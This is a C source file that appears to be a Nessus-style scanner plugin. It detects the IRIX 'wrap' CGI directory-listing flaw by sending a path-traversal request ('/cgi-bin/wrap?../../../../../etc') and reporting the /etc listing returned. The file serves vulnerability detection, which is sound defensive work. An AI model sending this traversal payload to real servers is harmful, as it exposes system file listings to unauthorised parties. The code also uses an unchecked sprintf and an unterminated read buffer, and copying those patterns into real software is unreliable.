/*
 * 
 * wrap
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "pfdispaly"
#define DESC "\
WWW HTTP/1.0 Server, as  shipped with  IRIX  6.2 \n\
(at  least  in  low end machines) includes a perl\n\
script (wrap) which allows anyone on the net to get\n\
a listing  for any directory with mode +755.\n\
Risk factor : medium/high"
#define COPYRIGHT "found by  J.A. Gutierrez"
#define SUMM "determines the presence of the 'wrap' cgi"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "CGI abuses");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	if(is_cgi_installed(args, "wrap"))
	{
	char * test_file = get_preference(args, "test_file");
	char * buffer = emalloc(4096);
	char * result;
	int soc = open_sock_tcp(args, 80);
	
	if(soc<=0)
	 /* Couldn't re-open the connection... Strange !*/
	 post_hole(args, 80, "The 'wrap' cgi is present\nRemote directory contents may be viewed");
	else {
	  	sprintf(buffer, 
		"GET /cgi-bin/wrap?../../../../../etc\n\n");
		send(soc, buffer, strlen(buffer), 0);
		bzero(buffer, 4096);
		read(soc, buffer, 4096);
		result = emalloc(strlen(buffer) + 100);
		sprintf(result, "The 'wrap' cgi is present\nWe attempted to get the listing for /etc ::\n%s\n", 
		buffer);
		efree(&buffer);
		post_hole(args, 80, result);
		efree(&result);
		socket_close(soc);
		}
	}
	return(0);
}

